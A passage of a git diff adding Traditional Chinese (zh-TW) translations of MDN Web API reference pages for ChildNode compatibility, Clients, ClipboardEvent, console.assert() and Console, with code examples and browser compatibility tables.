+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+   <td>{{CompatChrome(23.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>remove()</code>{{experimental_inline}}</td>
+   <td>{{CompatChrome(29.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(23)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(23)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>remove()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(23)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/clients/index.html b/files/zh-tw/web/api/clients/index.html
new file mode 100644
index 0000000000..000e36a804
--- /dev/null
+++ b/files/zh-tw/web/api/clients/index.html
@@ -0,0 +1,113 @@
+---
+title: Clients
+slug: Web/API/Clients
+translation_of: Web/API/Clients
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>The <code>Clients</code> interface of the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers API</a> represents a container for a list of {{domxref("Client")}} objects.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Clients.get()")}}</dt>
+ <dd>Gets a service worker client matching a given <code>id</code> and returns it in a {{jsxref("Promise")}}.</dd>
+ <dt>{{domxref("Clients.matchAll()")}}</dt>
+ <dd>Gets a list of service worker clients and returns them in a {{jsxref("Promise")}}. Include the <code>options</code> parameter to return all service worker clients whose origin is the same as the associated service worker's origin. If <code>options</code> are not included, the method returns only the service worker clients controlled by the service worker. </dd>
+ <dt>{{domxref("Clients.openWindow()")}}</dt>
+ <dd>Opens a service worker {{domxref("Client")}} in a new browser window.</dd>
+ <dt>{{domxref("Clients.claim()")}}</dt>
+ <dd>Allows an active Service Worker to set itself as the active worker for a client page when the worker and the page are in the same scope. </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">clients.matchAll(options).then(function(clients) {
+  for(i = 0 ; i &lt; clients.length ; i++) {
+    if(clients[i] === 'index.html') {
+      clients.openWindow(clients[i]);
+      // or do something else involving the matching client
+    }
+  }
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/clipboardevent/index.html b/files/zh-tw/web/api/clipboardevent/index.html
new file mode 100644
index 0000000000..7353cf4978
--- /dev/null
+++ b/files/zh-tw/web/api/clipboardevent/index.html
@@ -0,0 +1,119 @@
+---
+title: ClipboardEvent
+slug: Web/API/ClipboardEvent
+translation_of: Web/API/ClipboardEvent
+---
+<p>{{APIRef("Clipboard API")}} {{SeeCompatTable}}</p>
+
+<p><strong><code>ClipboardEvent</code></strong> 介面表示了與修改剪貼簿相關的事件，包括 {{event("cut")}}、{{event("copy")}} 及 {{event("paste")}} 事件。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>Also inherits properties from its parent {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DataTransfer")}} object containing the data affected by the user-initiated {{event("cut")}}, {{event("copy")}}, or {{event("paste")}} operation, along with its MIME type.</dd>
+</dl>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt>
+ <dd>Creates a <code>ClipboardEvent</code> event with the given parameters.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>No specific methods; inherits methods from its parent {{domxref("Event")}}</em>.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}</td>
+   <td>{{ Spec2('Clipboard API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>clipboardData</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>clipboardData</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>Copy-related events: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/console/assert/index.html b/files/zh-tw/web/api/console/assert/index.html
new file mode 100644
index 0000000000..415b4cfa9a
--- /dev/null
+++ b/files/zh-tw/web/api/console/assert/index.html
@@ -0,0 +1,118 @@
+---
+title: Console.assert()
+slug: Web/API/console/assert
+tags:
+  - API
+  - DOM
+  - Debugging
+  - 函式
+  - 控制台
+  - 網頁控制台
+  - 網頁開發
+translation_of: Web/API/console/assert
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>如果斷言（assertion）為非（false），主控台會顯示錯誤訊息；如果斷言為是（true），則不發生任何事。</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>注意</strong>：<em>在 Node.js 內 <code>console.assert()</code> 方法的實做，與瀏覽器並不相同。</em></p>
+
+<p>瀏覽器內呼叫 falsy 的 <code>console.assert()</code> 斷言出現 <code>message</code>，但不會中斷程式碼的執行。然而在 Node.js 裡面，falsy 斷言會拋出 <code>AssertionError</code> 錯誤。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">console.assert(<em>assertion</em>, <em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.assert(<em>assertion</em>, <em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]); // c-like message formatting
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>assertion</code></dt>
+ <dd>布林表達式。如果斷言為非，訊息會出現在主控台上。</dd>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>要印出來的 JavaScript 物件名單。 The string representations of each of these objects are appended together in the order listed and output.</dd>
+ <dt><code>msg</code></dt>
+ <dd>包含零個以上的 JavaScript 替代（substitution）字串。</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>JavaScript objects with which to replace substitution strings within <code>msg</code>. This parameter gives you additional control over the format of the output.</dd>
+</dl>
+
+<p>請參見 {{domxref("console")}} 的 <a href="/zh-TW/docs/Web/API/console#Outputting_text_to_the_console">Outputting text to the console</a> 以獲取詳細資訊。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>以下程式碼示範一個 JavaScript 物件的斷言使用：</p>
+
+<pre class="brush: js">const errorMsg = 'the # is not even';
+for (let number = 2; number &lt;= 5; number += 1) {
+    console.log('the # is ' + number);
+    console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+    // or, using ES2015 object property shorthand:
+    // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// output:
+// the # is 2
+// the # is 3
+// Assertion failed: {number: 3, errorMsg: "the # is not even"}
+// the # is 4
+// the # is 5
+// Assertion failed: {number: 5, errorMsg: "the # is not even"}
+</pre>
+
+<p>請注意，雖然包含替換字符串的字符串在 Node 中用作 <code>console.log</code> 的參數，但很多（如果不是大多數）瀏覽器...</p>
+
+<pre class="brush: js">console.log('the word is %s', 'foo');
+// output: the word is foo
+</pre>
+
+<p>...在所有瀏覽器中，使用此類字符串目前無法作為console.assert的參數使用：</p>
+
+<pre class="brush: js">console.assert(false, 'the word is %s', 'foo');
+// correct output in Node (e.g. v8.10.0) and some browsers
+//     (e.g. Firefox v60.0.2):
+// Assertion failed: the word is foo
+// incorrect output in some browsers
+//     (e.g. Chrome v67.0.3396.87):
+// Assertion failed: the word is %s foo
+</pre>
+
+<p>有關詳細信息，請參閱 {{domxref("console")}} 文檔中的<a href="https://developer.mozilla.org/zh-TW/docs/Web/API/console#Outputting_text_to_the_console">將文本輸出到控制台</a>。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#assert", "console.assert()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Console.assert")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="https://console.spec.whatwg.org/#assert-condition-data">WHATWG Console Standard: console.assert</a></li>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console#assertions">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/console/index.html b/files/zh-tw/web/api/console/index.html
new file mode 100644
index 0000000000..36320a69a8
--- /dev/null
+++ b/files/zh-tw/web/api/console/index.html
@@ -0,0 +1,289 @@
+---
+title: Console
+slug: Web/API/Console
+tags:
+  - API
+  - Debugging
+  - Interface
+  - NeedsCompatTable
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - console
+  - web console
+translation_of: Web/API/Console
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>The <strong><code>Console</code></strong> object provides access to the browser's debugging console (e.g. the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> in Firefox). The specifics of how it works varies from browser to browser, but there is a <em>de facto</em> set of features that are typically provided.</p>
+
+<p>The <code>Console</code> object can be accessed from any global object. {{domxref("Window")}} on browsing scopes and {{domxref("WorkerGlobalScope")}} as specific variants in workers via the property console. It's exposed as {{domxref("Window.console")}}, and can be referenced as simply <code>console</code>. For example:</p>
+
+<pre class="brush: js">console.log("Failed to open the specified link")</pre>
+
+<p>This page documents the {{anch("Methods")}} available on the <code>Console</code> object and gives a few {{anch("Usage")}} examples.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Console.assert()")}}</dt>
+ <dd>Log a message and stack trace to console if the first argument is <code>false</code>.</dd>
+ <dt>{{domxref("Console.clear()")}}</dt>
+ <dd>Clear the console.</dd>
+ <dt>{{domxref("Console.count()")}}</dt>
+ <dd>Log the number of times this line has been called with the given label.</dd>
+ <dt>{{domxref("Console.debug()")}}</dt>
+ <dd>An alias for <code>log()</code>.
+ <div class="note"><strong>Note</strong>: Starting with Chromium 58 this method only appears in Chromium browser consoles when level "Verbose" is selected.</div>
+ </dd>
+ <dt>{{domxref("Console.dir()")}} {{Non-standard_inline}}</dt>
+ <dd>Displays an interactive listing of the properties of a specified JavaScript object. This listing lets you use disclosure triangles to examine the contents of child objects.</dd>
+ <dt>{{domxref("Console.dirxml()")}} {{Non-standard_inline}}</dt>
+ <dd>
+ <p>Displays an XML/HTML Element representation of the specified object if possible or the JavaScript Object view if it is not possible.</p>
+ </dd>
+ <dt>{{domxref("Console.error()")}}</dt>
+ <dd>Outputs an error message. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console.exception()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>An alias for <code>error()</code>.</dd>
+ <dt>{{domxref("Console.group()")}}</dt>
+ <dd>Creates a new inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>, indenting all following output by another level. To move back out a level, call <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupCollapsed()")}}</dt>
+ <dd>Creates a new inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>, indenting all following output by another level. However, unlike <code>group()</code> this starts with the inline group collapsed requiring the use of a disclosure button to expand it. To move back out a level, call <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupEnd()")}}</dt>
+ <dd>Exits the current inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>.</dd>
+ <dt>{{domxref("Console.info()")}}</dt>
+ <dd>Informative logging of information. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console.log()")}}</dt>
+ <dd>For general output of logging information. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console.profile()")}} {{Non-standard_inline}}</dt>
+ <dd>Starts the browser's built-in profiler (for example, the <a href="/en-US/docs/Tools/Performance">Firefox performance tool</a>). You can specify an optional name for the profile.</dd>
+ <dt>{{domxref("Console.profileEnd()")}} {{Non-standard_inline}}</dt>
+ <dd>Stops the profiler. You can see the resulting profile in the browser's performance tool (for example, the <a href="/en-US/docs/Tools/Performance">Firefox performance tool</a>).</dd>
+ <dt>{{domxref("Console.table()")}}</dt>
+ <dd>Displays tabular data as a table.</dd>
+ <dt>{{domxref("Console.time()")}}</dt>
+ <dd>Starts a <a href="/en-US/docs/Web/API/console#Timers">timer</a> with a name specified as an input parameter. Up to 10,000 simultaneous timers can run on a given page.</dd>
+ <dt>{{domxref("Console.timeEnd()")}}</dt>
+ <dd>Stops the specified <a href="/en-US/docs/Web/API/console#Timers">timer</a> and logs the elapsed time in seconds since it started.</dd>
+ <dt>{{domxref("Console.timeStamp()")}} {{Non-standard_inline}}</dt>
+ <dd>Adds a marker to the browser's <a href="https://developer.chrome.com/devtools/docs/timeline">Timeline</a> or <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> tool.</dd>
+ <dt>{{domxref("Console.trace()")}}</dt>
+ <dd>Outputs a <a href="/en-US/docs/Web/API/console#Stack_traces">stack trace</a>.</dd>
+ <dt>{{domxref("Console.warn()")}}</dt>
+ <dd>Outputs a warning message. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+</dl>
+
+<h2 id="Usage" name="Usage">Usage</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">Outputting text to the console</h3>
+
+<p>The most frequently-used feature of the console is logging of text and other data. There are four categories of output you can generate, using the {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, and {{domxref("console.error()")}} methods respectively. Each of these results in output styled differently in the log, and you can use the filtering controls provided by your browser to only view the kinds of output that interest you.</p>
+
+<p>There are two ways to use each of the output methods; you can simply pass in a list of objects whose string representations get concatenated into one string, then output to the console, or you can pass in a string containing zero or more substitution strings followed by a list of objects to replace them.</p>
+
+<h4 id="Outputting_a_single_object">Outputting a single object</h4>
+
+<p>The simplest way to use the logging methods is to output a single object:</p>
+
+<pre class="brush: js">var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>The output looks something like this:</p>
+
+<pre>[09:27:13.475] ({str:"Some text", id:5})</pre>
+
+<h4 id="Outputting_multiple_objects">Outputting multiple objects</h4>
+
+<p>You can also output multiple objects by simply listing them when calling the logging method, like this:</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = { str: "Some text", id: 5 };
+console.info("My first car was a", car, ". The object is:", someObject);</pre>
+
+<p>This output will look like this:</p>
+
+<pre>[09:28:22.711] My first car was a Dodge Charger . The object is: ({str:"Some text", id:5})
+</pre>
+
+<h4 id="Using_string_substitutions">Using string substitutions</h4>
+
+<p>Gecko 9.0 {{geckoRelease("9.0")}} introduced support for string substitutions. When passing a string to one of the console object's methods that accepts a string, you may use these substitution strings:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Substitution string</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>%o or %O</td>
+   <td>Outputs a JavaScript object. Clicking the object name opens more information about it in the inspector.</td>
+  </tr>
+  <tr>
+   <td>%d or %i</td>
+   <td>Outputs an integer. Number formatting is supported, for example  <code>console.log("Foo %.2d", 1.1)</code> will output the number as two significant figures with a leading 0: <code>Foo 01</code></td>
+  </tr>
+  <tr>
+   <td>%s</td>
+   <td>Outputs a string.</td>
+  </tr>
+  <tr>
+   <td>%f</td>
+   <td>Outputs a floating-point value. Formatting is supported, for example  <code>console.log("Foo %.2f", 1.1)</code> will output the number to 2 decimal places: <code>Foo 1.10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Precision formatting doesn't work in Chrome</p>
+</div>
+
+<p>Each of these pulls the next argument after the format string off the parameter list. For example:</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+</pre>
+
+<p>The output looks like this:</p>
+
+<pre>[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+</pre>
+
+<h4 id="Styling_console_output">Styling console output</h4>
+
+<p>You can use the <code>%c</code> directive to apply a CSS style to console output:</p>
+
+<pre class="brush: js">console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue;padding: 2px");</pre>
+
+<div>The text before the directive will not be affected, but the text after the directive will be styled using the CSS declarations in the parameter.</div>
+
+<div> </div>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/12527/CSS-styling.png" style="display: block; margin: 0 auto;"></div>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Note</strong>: Quite a few CSS properties are supported by this styling; you should experiment and see which ones prove useful.</p>
+</div>
+
+<div> </div>
+
+<div>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</div>
+
+<p>You can use nested groups to help organize your output by visually combining related material. To create a new nested block, call <code>console.group()</code>. The <code>console.groupCollapsed()</code> method is similar but creates the new block collapsed, requiring the use of a disclosure button to open it for reading.</p>
+
+<div class="note"><strong>Note:</strong> Collapsed groups are not supported yet in Gecko; the <code>groupCollapsed()</code> method is the same as <code>group()</code> at this time.</div>
+
+<p>To exit the current group, simply call <code>console.groupEnd()</code>. For example, given this code:</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+</pre>
+
+<p>The output looks like this:</p>
+
+<p><img alt="nesting.png" class="default internal" src="/@api/deki/files/6082/=nesting.png"></p>
+
+<div>{{h3_gecko_minversion("Timers", "10.0")}}</div>
+
+<p>In order to calculate the duration of a specific operation, Gecko 10 introduced the support of timers in the <code>console</code> object. To start a timer, call the <code>console.time</code><code>()</code> method, giving it a name as the only parameter. To stop the timer, and to get the elapsed time in milliseconds, just call the <code>console.timeEnd()</code> method, again passing the timer's name as the parameter. Up to 10,000 timers can run simultaneously on a given page.</p>
+
+<p>For example, given this code:</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeEnd("answer time");
+</pre>
+
+<p>Will log the time needed by the user to discard the alert box:</p>
+
+<p><img alt="timerresult.png" class="default internal" src="/@api/deki/files/6084/=timerresult.png"></p>
+
+<p>Notice that the timer's name is displayed both when the timer is started and when it's stopped.</p>
+
+<div class="note"><strong>Note:</strong> It's important to note that if you're using this to log the timing for network traffic, the timer will report the total time for the transaction, while the time listed in the network panel is just the amount of time required for the header. If you have response body logging enabled, the time listed for the response header and body combined should match what you see in the console output.</div>
+
+<h3 id="Stack_traces">Stack traces</h3>
+
+<p>The console object also supports outputting a stack trace; this will show you the call path taken to reach the point at which you call {{domxref("console.trace()")}}. Given code like this:</p>
+
+<pre class="brush: js">function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+</pre>
+
+<p>The output in the console looks something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>At least in Firefox, if a page defines a <code>console</code> object, that object overrides the one built into Firefox.</li>
+ <li>Prior to {{Gecko("12.0")}}, the console object's methods only work when the Web Console is open. Starting with {{Gecko("12.0")}}, output is cached until the Web Console is opened, then displayed at that time.</li>
+ <li>It's worth noting that the Firefox's built-in <code>Console</code> object is compatible with the one provided by <a class="external" href="http://getfirebug.com/" title="http://getfirebug.com/">Firebug</a>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Tools" title="Tools">Tools</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console" title="Web Console">Web Console</a> — how the Web Console in Firefox handles console API calls</li>
+ <li><a href="/en-US/docs/Tools/Remote_Debugging">Remote debugging</a> — how to see console output when the debugging target is a mobile device</li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a> — how to do logging on Firefox OS devices</li>
+</ul>
+
+<h3 id="Other_implementations">Other implementations</h3>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh772173(v=vs.85).aspx">Internet Explorer</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/css_object_model/determining_the_dimensions_of_elements/index.html b/files/zh-tw/web/api/css_object_model/determining_the_dimensions_of_elements/index.html
new file mode 100644
index 0000000000..589300d041
--- /dev/null
+++ b/files/zh-tw/web/api/css_object_model/determining_the_dimensions_of_elements/index.html
@@ -0,0 +1,33 @@
+---
+title: Determining the dimensions of elements
+slug: Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements
